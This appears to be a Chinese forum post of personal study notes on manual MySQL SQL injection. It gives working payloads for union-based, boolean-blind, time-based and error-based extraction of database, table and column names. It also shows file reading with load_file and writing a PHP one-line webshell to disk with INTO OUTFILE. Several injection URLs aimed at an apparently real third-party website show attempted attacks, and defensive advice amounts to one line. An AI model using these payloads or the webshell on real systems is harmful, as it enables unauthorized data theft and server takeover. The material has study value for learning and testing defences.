老莫的笔记本  
  
查看: 1206|回复: 0

详细的mysql 手工注入

[复制链接]

662

主题

878

帖子

5143

积分

超级版主

Rank: 8Rank: 8

积分
5143
发表于 2019-4-15 00:44:02 | 显示全部楼层 |阅读模式
/*
       
        sql 注入详细学习笔记
       
        分类:  
        1.布尔注入 // 返回真或假
        2.联合注入 // 一起查询
                        2.1 获取字段的总数
                                * order by *
                                *group by *
                                *进行连和查询
                                union select
                               
                        2.2 获取数据库
                        2.3
                       
                       
        3.延时注入 // 定时器查询
        4.报错注入 // 报错但是信息是我们想要的


        CMD 与 mysql
       
        1. 如果没有配置mysql 环境且 mysql 没有安装在C盘,那么 找到 mysql 的 bin 目录 在这里cmd
                        我本地的是: F:\Dome\wamp\bin\mysql\mysql5.6.17\bin

        2. 先启动 mysql[我的启动方式 就是运行WampServer64]  然后 输入  mysql   -h要登录的主机名  -u用户名  -p,然后输入密码。
                        我的输入命令时: mysql -hlocalhost -uroot -p     回车    无密码  就继续回车

        3. 开始码 [注意每句话尽量以封号结尾]               
       
                        3.1使用数据库
                                use tp5test ;
                               
                        3.4 退出 mysql 命令行 \q
                       
                        3.5 排序 输出         select * from admins order by gid
       
                        3.6 获取字段的总数的方法
                       
                                        使用插入:
                                        insert into admins values(null,2,2);
                                        然后就会报错 1136:  1136的 意思就是 列数不对
                                        ERROR 1136 (21S01): Column count doesn't match value count at row 1
                                         
                                        接着,继续插入:
                                        mysql> insert into admins values(null,2,2,2);
                                                ERROR 1136 (21S01): Column count doesn't match value count at row 1
                                        mysql> insert into admins values(null,2,2,2,2);
                                                ERROR 1136 (21S01): Column count doesn't match value count at row 1
                                        mysql> insert into admins values(null,2,2,2,2,2);
                                                ERROR 1136 (21S01): Column count doesn't match value count at row 1
                                        mysql> insert into admins values(null,2,2,2,2,2,2);
                                                Query OK, 1 row affected (0.11 sec)     
                                        【好了 正确了 得出结论该admins 的字段数为 含ID在内7个 】
                                       
                                       
                                        使用方法2:[使用order by  或者 group by 排序]
                                        select * from admins order by 1; [无报错]
                                        select * from admins order by 2;[无报错]
                                        select * from admins order by 3;[无报错]
                                        select * from admins order by 4;[无报错]
                                        select * from admins order by 5;[无报错]
                                        select * from admins order by 6;[无报错]
                                        select * from admins order by 7;[无报错]
                                        select * from admins order by 8;[==报错==]
                                        因此判断 字段数为7
                                       
                                        使用方法3: 【union select】 联合查询的 使用 不是很明白????
                                        select username,password from admins where id = 1 union select 1,1;
                                        换个方式 可获得数据库名称: 【闲着无聊查了下 这简直就是错误用法示范 】
                                       
                                        mysql> select username,password from admins where id = 1 union select 1,database();
                                        +----------+----------------------------------+
                                        | username | password                         |
                                        +----------+----------------------------------+
                                        | admin    | 21232f297a57a5a743894a0e4a801fc3 |
                                        | 1        | tp5test                          |
                                        +----------+----------------------------------+
                                        这个username 的字段值非必须 可以这么写:
                                        mysql> select 1,2 from admins where id = 1 union select 1,database();
                                                +---+---------+
                                                | 1 | 2       |
                                                +---+---------+
                                                | 1 | 2       |
                                                | 1 | tp5test |
                                                +---+---------+
                                        mysql> select 1 from admins union select database();
                                        +---------+
                                        | 1       |
                                        +---------+
                                        | 1       |
                                        | tp5test |
                                        +---------+       
                                               
                                       
                                        可以看见 数据库名称为 tp5test 利用的是 database(); 返回名称;
                                       
                                        【
                                                        union select 正常人类的用法
                                                        SELECT 列名称 FROM 表名称 UNION SELECT 列名称 FROM 表名称 ORDER BY 列名称;
                                        】
                                       
                                        3.6.2 爆数据库的表: [注意 几个字段 后面就是几个位置]
                                               
                                                select * from admins where id = 2 union select 1,TABLE_NAME,3,4,5,6,7 from information_schema.TABLES where TABLE_SCHEMA=database();
                                                +----+----------+----------+----------+-----+--------+----------+
                                                | id | username | password | truename | gid | status | add_time |
                                                +----+----------+----------+----------+-----+--------+----------+
                                                |  1 | admins   | 3        | 4        |   5 |      6 |        7 |
                                                |  1 | staff    | 3        | 4        |   5 |      6 |        7 |
                                                +----+----------+----------+----------+-----+--------+----------+
                                       
                                        3.6.3 爆出的表如何逐条显示?【在上一句加上 limit 0,1】 不断替换 0 即可 替换开始位置 从而每次都是一条数据
                                                select * from admins where id = 2 union select 1,TABLE_NAME,3,4,5,6,7 from information_schema.TABLES where TABLE_SCHEMA=database();
                               
                       
                        3.7 获取数据库                信息
                               
                                3.7.1 查询当前使用的数据库名:  
                                                select database();
                                               
                                3.7.2 爆出表 如何放到第一行 【利用 where 1=2 的错误条件展示出来】:
                                       
                                                mysql> select * from admins where 1=2 union select database(),2,3,4,5,6,7;
                                                +---------+----------+----------+----------+-----+--------+----------+
                                                | id      | username | password | truename | gid | status | add_time |
                                                +---------+----------+----------+----------+-----+--------+----------+
                                                | tp5test | 2        | 3        | 4        |   5 |      6 |        7 |
                                                +---------+----------+----------+----------+-----+--------+----------+
                                               
                        3.8 跨库查询
                               
                                3.8.1 查询所有用户
                                       
                                                select * from mysql.user;
                       
                        3.9  desc information_schema.COLUMNS;  查看 数据库大体信息
                       
                        3.9.1 查看该表所有字段 select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='表名称';
       
       
        4. 数据注入类型
               
                4.1. 整型(没有单双引号)
               
                4.2. 字符串类型(有单双引号)
       
        5. 导出数据库别名 那 shell
       
                5.1 将查询结果输出到 指定位置 生成指定文件
                                select * from admins into outfile 'f:/oa/1.sql';
               
                5.2 活用3.2 可以创建 一句话木马文件
                                select '<?php @eval($_POST[‘a’]);?>' into outfile 'f:/oa/3.php';   【就会生成一句话木马,那就可以菜刀找到这里 然后完美】
                                备注:【在此处 我尝试了把 a 换成 十六进制编码 发现输出还是 十六进制编码 未改变】
               
                5.3 将要使用的代码转化为16进制
       
        6.  读文件 【 需要对应的权限 才能读 C盘 】
       
                .load_file("f:/OA/6.php");
            
                select load_file("f:/OA/6.php");  可以转化为 select load_file(0x663a2f4f412f362e706870);
               
                转为16进制从而避开 双引号
       
        7. # 与 --   都属于mysql 的注释符   如果使用 # 需要转编为 %23  如果 要闭合 ' 单引号  可以 这样写  '--    则在mysql 中 会自动闭合
       
        8. 布尔注入
       
                8.1 mid(str, 1 , 3 ); 字符串截取  开始位置【不是下标而是个数】  、 长度  例如
                        select mid('laomo666',2,4);    截取到的值为  aomo
                       
                8.2 ORD()  转换成 ascii 码
                        select ORD('x');                输出的是 x 的 ascii 编码值
                       
                8.3 length() 统计字节长度 ;
                        select Length('ajjjjjjjj');
               
                8.4 version() 是查看数据库版本
                        select version();
               
                8.5 database() 查看数据库名
                        select database();
               
                8.6 user() 查看当前用户
                        select user();
                       
                 8.7 开始进行布尔注入  [注意这里的and 与 or 可以互换]
                        8.7.1  获取数据库名长度
                                select * From admins where id =1 and Length(database()) =6;
                                select * From admins where id =1 and Length(database()) =7;
                               
                                http://www.damichong.com/web/xx/?id=66 or length(database()) =8   [如果可以 就这么注入 可惜这是sqlserver我没注入成功]  
                    
                        8.7.2 获取数据库 名字
                                select * From admins where id =1 and mid(database(),1,1) ='a';  // 错
                                select * From admins where id =1 and mid(database(),1,1) ='b';        // 错
                                select * From admins where id =1 and mid(database(),1,1) ='t';  // 正确
                               
                                http://www.damichong.com/web/xx/?id=66 or mid(database(),1,1) = p   [这个就坑爹了  这个是 一个判断 数据库名是啥]
                         
                        8.7.3 升级 获取数据库名字 【利用转码判断它的 ascii 值 取值范围】
                                select * From admins where id =1 and ORD(mid(database(),1,1)) >10;        // 错
                                select * From admins where id =1 and ORD(mid(database(),1,1)) >116;        // 错
                                select * From admins where id =1 and ORD(mid(database(),1,1)) >115;        // 正确         t 的 ascii 值为 116  反之 116 的值为t
                       
                        8.7.4 获取表的名称
                                select * from admins where id = 1 and 1 =2 union select 1,table_name,3,4,5,6,7 from information_schema.Tables where TABLE_SCHEMA = database() limit 0,1;
                                【下面这句 就是 转ascii 码 一个一个位置截取 然后获取 最后拼出表名】       
                                http://www.damichong.com/web/xx/?id=66 or (select length(TABLE_NAME) from infomation_schema TABLES where TABLE_SCHEMA = database() limit 0,1)>12 #&password=222&t=my
                               
                                 
                                http://www.damichong.com/web/xx/?id=66 or ORD( mid(select length(TABLE_NAME) from infomation_schema TABLES where TABLE_SCHEMA = database() limit 0,1),1,1))>12 #&password=222&t=my
                       
                        8.7.5  获取一张数据库中表的数量  【先获取表的数量 然后一个一个 获取表的名称 再去获取表的字段】
                               
                                select count(TABLE_NAME) FROM information_schema.TABLES where TABLE_SCHEMA=database();
                               
                                 
                        8.7.6 获取字段总数
                                       
                                        select count(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME = 0x61646d696e73 ; [这句 返回的结果是 字段总数]  
                                       
                                        select * from admins where id = 1 and (select count(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME = 0x61646d696e73 ) >1;
                                        select * from admins where id = 1 and (select count(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME = 0x61646d696e73 ) >2;
                                        【不断的测出字段总数】
                                       
                                        再获取第一个字段的长度 -》 然后 再判断第一个字段的第一位是啥   以此类推  【真是个技术活】        
                               
                                        http://www.damichong.com/web/xx/?username=wang' and (select count(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME = 0x61646d696e73 )=8#&password=222&t=my
                        8.8.8 获取本表中的所有 字段名
                               
                                select COLUMN_NAME from information_schema.COLUMNS where TABLE_name='admins';
                                 
                               
                                select * from admins where id = 1 and 1=2 union select COLUMN_NAME from information_schema.COLUMNS ;
                         
       
        9. 延时 注入  【】
               
                        if 语法:  if(条件,True,False);
                        select * from admin where id=1 and name = if(2>1,"1","2");
                        Sleep(1);
       
                        select if(2>1,23,24);
                        select if(2>1,23,24) and Sleep(5); [延时五秒]
                        例子:
                        ?act = update&id = 2 and Sleep( if(select count(SCHMA_NAME) FROM infomation_SCHMATA)>2,0,5); [爆数据库总数]
       
                9.1        获取数据库的总数
                9.2 获取当前数据库长度
                9.3 获取当前数据库内容
                9.4 获取当前表的总数
                9.5 获取当前表的长度
                9.6 获取当前表的内容
                9.7 获取当前表的字段总数
                9.8 获取当前表的字段第2个长度
                9.9 获取当前表的字段第N个内容
                9.10  获取内容

                9.11 别名的理解
               
                        mysql> select username as tp from admins;
                        +-------+
                        | tp    |
                        +-------+
                        | admin |
                        | tp1   |
                        | tp3   |
                        | 2     |
                        +-------+
                       
                        mysql> SELECT * from admins xx where xx.id = 1;         【 admins 的别名为xx 】
               
        10 报错注入
                       
                原理: 利用数据库的BUG,看报错信息 不过报错报的就是我们想要的信息
                        10.1 只要是count()、rand、group by 三个连用就会造成这种报错;
                        10.2 left(rand(),3)== 不一定报错
                        10.3 floor(rand(o)*2)== 一定报错
                        10.4 round(x,d)         // x指要处理的数,d指保留几位小数
                        10.5 Concat()  // 字符串拼接
                        10.6 select count(*),concat(left(rand(),3),"---",(select version()))x from ri group by x;
                        10.7 函数报错
                       
       

        11. 注入漏洞的修补 :【就是 转译 接收到的值 】
                       
        12. 如何判断是否可以注入?               
       
                        比如 id = 8  
                                在 int 类型时  如果  id=8 + 1  可以运行 则 可以注入;
                                在 字符串时  要闭合  ' 号闭合         
                       
                        (有报错信息 不一定可以注入)
       
        13. 宽字节的注入 【原理: 如果客户端发送的数据字符集为GBK 则可能会知道转译字符 ‘’ ; 如果是utf8 就凉了 意义不大】
                       
                        参考地址: https://www.cnblogs.com/blacksunny/p/7472783.html
               
        14。 多语句注入【用分号隔开  Select 1; select 2】 分号后 可以是添加、修改之类
               
                        据我个人经验  啥子玩意哦 有个篮子用, 分号后 还执行?这代码打死也过不了系统;
               
        15. 添加型注入 【 就是在 注册、添加、修改等操作的时候  把 指定的字段名换成 database() 之类 可以显示的函数名】

        16. 删除型注入 【只能支持 布尔注入、 延迟注入;  本质 就是在删除时 添加一个条件 实现布尔注入】       
       
        17. 修改注入 【 同 添加注入的区别 意义其实不大,都是 指定函数暴数据库】
       

        以上注入 只针对 mysql  , 其它数据库 原理差不多,现场百度
                       
       
       
        ========================报错 以及原因===========================================
        命令行报错: no database selected   
        原因:   没有选择要使用的数据库
        解决:        执行命令 use database_name            database_name 替换成数据库名
       
       
       
       
       
        参考文献: https://jingyan.baidu.com/article/adc81513ae2733f722bf7344.html
       








       
       
       
       
       
       


*/

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表